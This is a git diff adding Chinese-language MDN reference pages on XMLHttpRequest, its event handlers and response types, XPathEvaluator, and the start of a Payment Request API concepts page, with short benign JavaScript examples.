+<h2>Using the POST method</h2>
+<h3>Enctype: application/x-www-form-urlencoded (default)</h3>
+
+<form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Registration example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" />
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+
+<h3>Enctype: text/plain</h3>
+
+<p>The text/plain encoding is not supported by the FormData API.</p>
+
+<h3>Enctype: multipart/form-data</h3>
+
+<form action="register.php" method="post" enctype="multipart/form-data"
+    onsubmit="AJAXSubmit(this); return false;">
+  <fieldset>
+    <legend>Upload example</legend>
+    <p>
+      First name: <input type="text" name="firstname" /><br />
+      Last name: <input type="text" name="lastname" /><br />
+      Sex:
+      <input id="sex_male" type="radio" name="sex" value="male" />
+      <label for="sex_male">Male</label>
+      <input id="sex_female" type="radio" name="sex" value="female" />
+      <label for="sex_female">Female</label><br />
+      Password: <input type="password" name="secret" /><br />
+      What do you prefer:
+      <select name="image_type">
+        <option>Books</option>
+        <option>Cinema</option>
+        <option>TV</option>
+      </select>
+    </p>
+    <p>
+      Post your photos:
+      <input type="file" multiple name="photos[]">
+    </p>
+    <p>
+      <input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" />
+      <label for="vehicle_bike">I have a bike</label><br />
+      <input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" />
+      <label for="vehicle_car">I have a car</label>
+    </p>
+    <p>
+      Describe yourself:<br />
+      <textarea name="description" cols="50" rows="8"></textarea>
+    </p>
+    <p>
+      <input type="submit" value="Submit" />
+    </p>
+  </fieldset>
+</form>
+</body>
+</html>
+
+ +
注意: 如之前所述,{{domxref("FormData")}} 对象并不是 可字符串化(stringifiable) 的对象。如果你想要字符串化一个提交数据,请使用这个 早期的纯 AJAX 例子. 同时也要注意,尽管这个例子中有一些 file {{ HTMLElement("input") }} 字段,但当你通过 FormData API 提交一个表格时,也无须使用 {{domxref("FileReader")}} API: 文件被自动加载并上传。
+ +

获取最后修改日期

+ +
function getHeaderTime () {
+  console.log(this.getResponseHeader("Last-Modified"));  /* 一个合法的 GMTString 日期或 null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* 仅需要头部信息(headers)时请使用 HEAD! */, "yourpage.html");
+oReq.onload = getHeaderTime;
+oReq.send();
+ +

最后修改日期改变后的操作

+ +

先创建两个函数:

+ +
function getHeaderTime () {
+  var nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath));
+  var nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif > nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) && this.callback(nLastModif, nLastVisit);
+  }
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* 使用 HEAD - 我们仅需要头部信息(headers)! */, sURL);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}
+ +

And to test:

+ +
/* 测试一下这个文件:"yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  console.log("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});
+ +

如果你想要了解 当前页面是否发生了改变,请阅读这篇文章:{{domxref("document.lastModified")}}.

+ +

跨站的 XMLHttpRequest

+ +

现代浏览器可以通过执行 WebApps 工作小组通过的 Access Control for Cross-Site Requests 标注来支持跨站请求。只要服务器端的配置允许您从您的 Web 应用发送请求,就可以使用 XMLHttpRequest 。 否则,会抛出一个 INVALID_ACCESS_ERR 异常

+ +

绕过缓存

+ +

一般地,如果缓存中有相应内容, XMLHttpRequest 会试图从缓存中读取内容。绕过缓存的方法见下述代码:

+ +
var req = new XMLHttpRequest();
+req.open('GET', url, false);
+req.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
+req.send(null);
+ +
Note: 这个方法只工作于基于 Gecko内核的软件, 也就是通道属性是 Gecko-specific.
+ +

还有一个跨浏览器兼容的方法,就是给 URL 添加时间戳。请确保你酌情地添加了 "?" or "&" 。例如,将:

+ +
http://foo.com/bar.html -> http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345
+
+ +

因为本地缓存都是以 URL 作为索引的,这样就可以使每个请求都是唯一的,也就可以这样来绕开缓存。

+ +

你也可以用下面的方法自动更改缓存:

+ +
var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&" : "?") + (new Date()).getTime());
+oReq.send(null);
+ +

安全性

+ +

{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference capability.policy.<policyname>.XMLHttpRequest.open</policyname> to allAccess to give specific sites cross-site access. This is no longer supported.")}}

+ +

{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\"); to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}

+ +

要启用跨站脚本,推荐的做法是对 XMLHttpRequest 的响应使用 the Access-Control-Allow-Origin 的 HTTP 头。

+ +

XMLHttpRequests 被停止

+ +

如果你的 XMLHttpRequest 收到 status=0statusText=null 的返回,这意味着请求无法执行。 就是无法发送. 一个可能导致的原因是当 XMLHttpRequest origin (创建的 XMLHttpRequest) 改变时,XMLHttpRequest 执行 open().。这种情况是可能发生的,举个例子,我们在一个窗口的onunload事件中关闭XMLHttpRequest,但实际上在即将关闭窗口时,之前创建的XMLHttpRequest仍然在那里,最后当这个窗口失去焦点、另一个窗口获得焦点时,它还是发送了请求(也就是open())。最有效的避免这个问题的方法是为新窗口的{{event("activate")}}事件设置一个监听器,一旦窗口关闭,它的{{event("unload")}}事件便触发。

+ +

Worker

+ +

设置 overrideMimeType  后在 {{domxref("Worker")}} 中无法正常工作,详见 {{bug(678057)}}。其他浏览器也许会以不同的手段处理。

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}Live standard, latest version
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest")}}

+ +

参考资料

+ +
    +
  1. MDC AJAX introduction
  2. +
  3. HTML in XMLHttpRequest
  4. +
  5. HTTP access control
  6. +
  7. How to check the security state of an XMLHTTPRequest over SSL
  8. +
  9. XMLHttpRequest - REST and the Rich User Experience
  10. +
  11. Microsoft documentation
  12. +
  13. Apple developers' reference
  14. +
  15. "Using the XMLHttpRequest Object" (jibbering.com)
  16. +
  17. The XMLHttpRequest Object: W3C Specification
  18. +
  19. Web Progress Events specification
  20. +
  21. Reading Ogg files with JavaScript (Chris Double)
  22. +
diff --git a/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest_in_ie6/index.html b/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest_in_ie6/index.html new file mode 100644 index 0000000000..2c1231a04a --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/using_xmlhttprequest_in_ie6/index.html @@ -0,0 +1,28 @@ +--- +title: 在 IE6 中使用 XMLHttpRequest +slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest_in_IE6 +translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest_in_IE6 +--- +

XMLHttpRequest 在 Internet Explorer 5.0 上作为 ActiveX 控件第一次被 Microsoft 引入。然而,在 IE7 和其它浏览器上,XMLHttpRequest 作为本地 JavaScript 对象而存在。

+ +

在现代的浏览器上,你可以使用下面的代码创建一个新的 XMLHttpRequest 对象:

+ +
var request = new XMLHttpRequest()
+
+ +

如果你需要支持 Internet Explorer 6 和更老的浏览器,你需要像下方所示扩展你的代码:

+ +
if (window.XMLHttpRequest) {
+    //Firefox、 Opera、 IE7 和其它浏览器使用本地 JavaScript 对象
+    var request = new XMLHttpRequest();
+} else {
+    //IE 5 和 IE 6 使用 ActiveX 控件
+    var request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+
+ +

更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/withcredentials/index.html b/files/zh-cn/web/api/xmlhttprequest/withcredentials/index.html new file mode 100644 index 0000000000..d91fa7cc87 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/withcredentials/index.html @@ -0,0 +1,103 @@ +--- +title: XMLHttpRequest.withCredentials +slug: Web/API/XMLHttpRequest/withCredentials +tags: + - AJAX + - XMLHttpRequest +translation_of: Web/API/XMLHttpRequest/withCredentials +--- +

{{APIRef('XMLHttpRequest')}}

+ +

XMLHttpRequest.withCredentials  属性是一个{{jsxref("Boolean")}}类型,它指示了是否该使用类似cookies,authorization headers(头部授权)或者TLS客户端证书这一类资格证书来创建一个跨站点访问控制(cross-site Access-Control)请求。在同一个站点下使用withCredentials属性是无效的。

+ +

此外,这个指示也会被用做响应中cookies 被忽视的标示。默认值是false。

+ +

如果在发送来自其他域的XMLHttpRequest请求之前,未设置withCredentials 为true,那么就不能为它自己的域设置cookie值。而通过设置withCredentials 为true获得的第三方cookies,将会依旧享受同源策略,因此不能被通过document.cookie或者从头部相应请求的脚本等访问。

+ +
+

注: 永远不会影响到同源请求

+
+ +
+

Note: 不同域下的XmlHttpRequest 响应,不论其Access-Control- header 设置什么值,都无法为它自身站点设置cookie值,除非它在请求之前将withCredentials 设为true。

+
+ +

实例

+ +
var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);
+ +

详述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(3)}}{{CompatGeckoDesktop("1.9.1")}}[2]{{CompatIe(10)}}[1]{{CompatOpera(12)}}{{CompatSafari("4")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]IE8 和IE9通过使用  XDomainRequest 支持跨域请求

+ +

[2] 从 Gecko 11.0 (Firefox 11.0 / Thunderbird 11.0 / SeaMonkey 2.8)开始, Gecko 不允许在同步请求下使用withCredentials 属性.尝试这么做将会导致浏览器抛出 NS_ERROR_DOM_INVALID_ACCESS_ERR exception的错误.

diff --git a/files/zh-cn/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/zh-cn/web/api/xmlhttprequest/xmlhttprequest/index.html new file mode 100644 index 0000000000..57d2ad87da --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/xmlhttprequest/index.html @@ -0,0 +1,58 @@ +--- +title: XMLHttpRequest() +slug: Web/API/XMLHttpRequest/XMLHttpRequest +tags: + - API + - XHR + - XMLHttpRequest + - 参考 + - 构造函数 + - 构造器 +translation_of: Web/API/XMLHttpRequest/XMLHttpRequest +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +

The XMLHttpRequest() 构造器初始化一个新的 {{domxref("XMLHttpRequest")}} 对象。

+ +

关于 XMLHttpRequest 的具体用法,请参考使用 XMLHttpRequest

+ +

语法

+ +
const request = new XMLHttpRequest();
+ +

参数

+ +

无。

+ +

返回值

+ +

一个新的 {{domxref("XMLHttpRequest")}} 对象。此对象 must be prepared by at least calling {{domxref("XMLHttpRequest.open", "open()")}} to initialize it before calling {{domxref("XMLHttpRequest.send", "send()")}} to send the request to the server.

+ +

非标准 Firefox 语法

+ +

Firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see {{Bug("692677")}}). Setting the mozAnon flag to true effectively resembles the AnonXMLHttpRequest() constructor described in older versions of the XMLHttpRequest specification.

+ +

Gecko/Firefox 16 为该构造方法新增了一个非标准的参数,以启用匿名模式(参见 {{Bug("692677")}})。将 mozAnon 属性设置为 true,即可有效地模拟 AnonXMLHttpRequest() 构造器。此构造器在早先的 XMLHttpRequest 规范中有描述,但并未在任何浏览器中被实现。

+ +
const request = new XMLHttpRequest(paramsDictionary);
+ +

参数(非标准)

+ +
+
objParameters {{gecko_minversion_inline("16.0")}}
+
有两个属性可以设置: +
+
mozAnon
+
布尔值:将此属性设置为 true 将使浏览器在获取资源时不暴露自身来源和用户凭据。最重要的是,这意味着只有明确添加使用setRequestHeader才会发送cookies。
+
mozSystem
+
布尔值:将此属性设置为 true 允许建立跨站点的连接,而无需服务器选择使用CORS(译者注:Cross-Origin Resource Sharing 跨域资源共享)必须同时将参数 mozAnon 设置为 true即不能与cookie或其他用户凭据同时发送。仅限于在privileged (reviewed) apps起效(译者注:此句原文This only works in privileged (reviewed) apps;);在 Firefox 上任何网页加载后不起作用(译者注:此句原文 it does not work on arbitrary webpages loaded in Firefox.)。
+
+
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/index.html new file mode 100644 index 0000000000..dc6ddc6d37 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/index.html @@ -0,0 +1,64 @@ +--- +title: XMLHttpRequestEventTarget +slug: Web/API/XMLHttpRequestEventTarget +tags: + - AJAX + - API + - XMLHttpRequest + - 参考 +translation_of: Web/API/XMLHttpRequestEventTarget +--- +

{{APIRef("XMLHttpRequest")}}

+ +

XMLHttpRequestEventTarget 是一个描述事件处理程序的接口,你可以在一个用于处理 {{ domxref("XMLHttpRequest") }} 事件的对象中使用到该事件处理程序。

+ +

{{InheritanceDiagram}}

+ +

属性

+ +
+
{{ domxref("XMLHttpRequestEventTarget.onabort") }}
+
当请求失败时调用该方法,接受 {{event('abort')}} 对象作为参数。
+
{{ domxref("XMLHttpRequestEventTarget.onerror") }}
+
当请求发生错误时调用该方法,接受 {{event('error')}} 对象作为参数。
+
{{ domxref("XMLHttpRequestEventTarget.onload") }}
+
当一个 HTTP 请求正确加载出内容后返回时调用,接受 {{event('load')}} 对象作为参数。
+
{{ domxref("XMLHttpRequestEventTarget.onloadstart") }}
+
当一个 HTTP 请求开始加载数据时调用,接受 {{event('loadstart')}} 对象作为参数。
+
{{ domxref("XMLHttpRequestEventTarget.onprogress") }}
+
间歇调用该方法用来获取请求过程中的信息,接受 {{event('progress')}} 对象作为参数。
+
{{ domxref("XMLHttpRequestEventTarget.ontimeout") }}
+
当超时时调用,接受 {{event("timeout")}} 对象作为参数;只有设置了 XMLHttpRequest 对象的 timeout 属性时,才可能发生超时事件。
+
{{ domxref("XMLHttpRequestEventTarget.onloadend") }}
+
当内容加载完成,不管失败与否,都会调用该方法,接受 {{event('loadend')}} 对象作为参数。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/onabort/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/onabort/index.html new file mode 100644 index 0000000000..38d305c1c2 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/onabort/index.html @@ -0,0 +1,56 @@ +--- +title: XMLHttpRequestEventTarget.onabort +slug: Web/API/XMLHttpRequestEventTarget/onabort +translation_of: Web/API/XMLHttpRequestEventTarget/onabort +--- +
{{APIRef("XMLHttpRequest")}}
+ +

XMLHttpRequestEventTarget.onabort 会在 {{domxref("XMLHttpRequest")}} 交易操作被诸如 {{domxref("XMLHttpRequest.abort()")}} 函数中止时调用。

+ +

语法

+ +
XMLHttpRequest.onabort = callback;
+ +

+ + + +

示例

+ +
var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(method, url, true);
+xmlhttp.onabort = function () {
+  console.log('** 请求被中止');
+};
+xmlhttp.send();
+//..
+xmlhttp.abort(); // 这将会调用我们上面定义的 onabort 回调函数
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest', '#handler-xhr-onabort')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget.onabort")}}

diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/onerror/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/onerror/index.html new file mode 100644 index 0000000000..c6931f08ef --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/onerror/index.html @@ -0,0 +1,58 @@ +--- +title: XMLHttpRequestEventTarget.onerror +slug: Web/API/XMLHttpRequestEventTarget/onerror +tags: + - API + - Event Handler + - XMLHttpRequestEventTarget +translation_of: Web/API/XMLHttpRequestEventTarget/onerror +--- +
{{APIRef("XMLHttpRequest")}}
+ +

XMLHttpRequestEventTarget.onerror 是{{domxref("XMLHttpRequest")}} 事务由于错误而失败时调用的函数。

+ +

语法

+ +
XMLHttpRequest.onerror = callback;
+ +

Values

+ + + +

举例

+ +
var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(method, url, true);
+xmlhttp.onerror = function () {
+  console.log("** An error occurred during the transaction");
+};
+xmlhttp.send();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#handler-xhr-onerror')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget.onerror")}}

diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/onload/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/onload/index.html new file mode 100644 index 0000000000..8e2c27016f --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/onload/index.html @@ -0,0 +1,54 @@ +--- +title: XMLHttpRequestEventTarget.onload +slug: Web/API/XMLHttpRequestEventTarget/onload +translation_of: Web/API/XMLHttpRequestEventTarget/onload +--- +
{{APIRef("XMLHttpRequest")}}
+ +

XMLHttpRequestEventTarget.onload 是 {{domxref("XMLHttpRequest")}} 请求成功完成时调用的函数。

+ +

语法

+ +
XMLHttpRequest.onload = callback;
+ +

+ + + +

示例

+ +
var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(method, url, true);
+xmlhttp.onload = function () {
+  // 处理取回的数据(在 xmlhttp.response 中找到)
+};
+xmlhttp.send();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#handler-xhr-onload')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget.onload")}}

diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/onloadstart/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/onloadstart/index.html new file mode 100644 index 0000000000..1501afd132 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/onloadstart/index.html @@ -0,0 +1,54 @@ +--- +title: XMLHttpRequestEventTarget.onloadstart +slug: Web/API/XMLHttpRequestEventTarget/onloadstart +translation_of: Web/API/XMLHttpRequestEventTarget/onloadstart +--- +
{{APIRef("XMLHttpRequest")}}
+ +

XMLHttpRequestEventTarget.onloadstart 在{{domxref("XMLHttpRequest")}} 开始传送数据时被调用

+ +

语法

+ +
XMLHttpRequest.onloadstart = callback;
+ +

+ + + +

示例

+ +
var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(method, url, true);
+xmlhttp.onloadstart = function () {
+  console.log("Download underway");
+};
+xmlhttp.send();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('XMLHttpRequest', '#handler-xhr-onloadstart')}}{{Spec2('XMLHttpRequest')}}WHATWG 现存标准
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget.onloadstart")}}

diff --git a/files/zh-cn/web/api/xmlhttprequesteventtarget/onprogress/index.html b/files/zh-cn/web/api/xmlhttprequesteventtarget/onprogress/index.html new file mode 100644 index 0000000000..ad2bced50b --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequesteventtarget/onprogress/index.html @@ -0,0 +1,66 @@ +--- +title: XMLHttpRequestEventTarget.onprogress +slug: Web/API/XMLHttpRequestEventTarget/onprogress +translation_of: Web/API/XMLHttpRequestEventTarget/onprogress +--- +

{{APIRef("XMLHttpRequest")}}

+ +

XMLHttpRequestEventTarget.onprogress 是在 {{domxref("XMLHttpRequest")}} 完成之前周期性调用的函数。

+ +

语法

+ +
XMLHttpRequest.onprogress = callback;
+ +

+ + + +

事件

+ + + +
XMLHttpRequest.onprogress = function (event) {
+  event.loaded;
+  event.total;
+};
+ +

示例

+ +
var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(method, url, true);
+xmlhttp.onprogress = function () {
+  //do something
+};
+xmlhttp.send();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#handler-xhr-onload')}}{{Spec2('XMLHttpRequest')}}WHATWG living standard
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestEventTarget.onprogress")}}

diff --git a/files/zh-cn/web/api/xmlhttprequestresponsetype/index.html b/files/zh-cn/web/api/xmlhttprequestresponsetype/index.html new file mode 100644 index 0000000000..affb181175 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequestresponsetype/index.html @@ -0,0 +1,70 @@ +--- +title: XMLHttpRequestResponseType +slug: Web/API/XMLHttpRequestResponseType +translation_of: Web/API/XMLHttpRequestResponseType +--- +
{{APIRef("XMLHttpRequest")}}
+ +

XMLHttpRequestResponseType 类型是一个枚举字符串,用于指定包含在一个 {{domxref("XMLHttpRequest")}} 中的 {{domxref("XMLHttpRequest.response", "response")}} 的数据类型。这些值用于获取或设置请求的 {{domxref("XMLHttpRequest.responseType", "responseType")}}。

+ +

取值

+ +
+
""
+
responseType 为空字符串时,采用默认类型 {{domxref("DOMString")}},与设置为 text 相同。
+
arraybuffer
+
{{domxref("XMLHttpRequest.response", "response")}} 是一个包含二进制数据的 JavaScript {{jsxref("ArrayBuffer")}}。
+
blob
+
response 是一个包含二进制数据的 {{domxref("Blob")}} 对象 。
+
document
+
response 是一个 {{Glossary("HTML")}} {{domxref("Document")}} 或 {{Glossary("XML")}} {{domxref("XMLDocument")}},这取决于接收到的数据的 MIME 类型。请参阅 XMLHttpRequest 中的 HTML 以了解使用 XHR 获取 HTML 内容的更多信息。
+
json
+
response 是一个 JavaScript 对象。这个对象是通过将接收到的数据类型视为 {{Glossary("JSON")}} 解析得到的。
+
text
+
response 是一个以 {{domxref("DOMString")}} 对象表示的文本。
+
ms-stream {{non-standard_inline}}
+
response 是下载流的一部分;此响应类型仅允许下载请求,并且仅受 Internet Explorer 支持。
+
+ +

已废弃的值

+ +
+
moz-chunked-arraybuffer {{non-standard_inline}}
+
+

"arraybuffer"相似,但是数据会被接收到一个流中。使用此响应类型时,响应中的值仅在 {{event("progress")}} 事件的处理程序中可用,并且只包含上一次响应 progress 事件以后收到的数据,而不是自请求发送以来收到的所有数据。

+ +

progress 事件处理时访问 response 将返回到目前为止收到的数据。在 progress 事件处理程序之外访问, response 的值会始终为 null

+ +

You shouldn't use this non-standard (and, as of Firefox 68, entirely removed) API; instead, consider using the Fetch API with readable streams, which offers a standard alternative to accessing the response in a streaming fashion.

+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('XMLHttpRequest')}}{{Spec2('XMLHttpRequestResponseType')}}Live standard, latest version
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequestResponseType")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xpathevaluator/index.html b/files/zh-cn/web/api/xpathevaluator/index.html new file mode 100644 index 0000000000..7ce04064f3 --- /dev/null +++ b/files/zh-cn/web/api/xpathevaluator/index.html @@ -0,0 +1,88 @@ +--- +title: XPathEvaluator +slug: Web/API/XPathEvaluator +tags: + - API + - DOM + - DOM XPath API + - Document + - Interface + - NeedsTranslation + - Reference + - TopicStub + - XML + - XPath + - XPathEvaluator +translation_of: Web/API/XPathEvaluator +--- +

{{APIRef("DOM XPath")}}

+ +

 XPathEvaluator  接口能够对 {{Glossary("XPath")}} 表达式进行编译和求值。

+ +

该接口实现自{{domxref("Document")}}的接口。

+ +

方法

+ +
+
{{DOMxRef("XPathEvaluator.createExpression()")}}
+
创建一个解析过的XPath和解析后的namespaces
+
{{DOMxRef("XPathEvaluator.createNSResolver()")}}
+
任意DOM节点能够通过该方法来解析namespaces,允许通过节点出现在文档中的相对上下文对XPath表达式进行求值。
+
{{DOMxRef("XPathEvaluator.evaluate()")}}
+
对XPath字符串求值,返回可能的确切类型的匹配结果。
+
+ +

例子

+ +

下面的实例展示了如何使用XPathEvaluator接口。

+ +

HTML

+ +
<div>XPath example</div>
+<div>Number of &lt;div&gt;s: <output></output></div>
+
+ +

JavaScript

+ +
var xpath = "//div";
+var evaluator = new XPathEvaluator();
+var expression = evaluator.createExpression("//div");
+var result = expression.evaluate(document, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE);
+document.querySelector("output").textContent = result.snapshotLength;
+
+ +

 结果

+ + + +

{{EmbedLiveSample('Example', 400, 70)}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.XPathEvaluator")}}

+ +

相关链接

+ + diff --git "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" "b/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" new file mode 100644 index 0000000000..9993a0a959 --- /dev/null +++ "b/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" @@ -0,0 +1,6 @@ +--- +title: 指数 +slug: Web/API/指数 +translation_of: Web/API/Index +--- +

{{Index("/zh-CN/docs/Web/API")}}

diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" new file mode 100644 index 0000000000..a6772dc5be --- /dev/null +++ "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" @@ -0,0 +1,128 @@ +--- +title: 交易过程的基本概念 +slug: Web/API/支付_请求_接口/Concepts +tags: + - API + - Apple Pay + - 中间状态 + - 交易 + - 付款方 + - 付款方式 + - 应用程序接口 + - 指南 + - 支付 + - 支付请求API + - 收款方 + - 贸易 +translation_of: Web/API/Payment_Request_API/Concepts +--- +

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

+ +

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

+ +

术语

+ +

在深入了解此API的工作方式前,你应该了解以下术语。

+ +
+
收款方(或商家)
+
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
+
付款方
+
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
+
支付方式
+
付款的方式,例如信用卡或线上支付服务。
+
支付方式提供方
+
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
+
交易处理机
+
一段代码,作用是与付款方式提供方交互,进行交易处理。
+
+ +

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

+ +

支付方式识别码

+ +

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

+ +

标准化的交易方式识别码

+ +

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

+ +
+
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
+
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
+
+ +

基于URL的交易方式识别码

+ +

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

+ +
+
https://apple.com/apple-pay
+
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
+
https://google.com/pay
+
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
+
+ +

交易处理机的功能

+ +

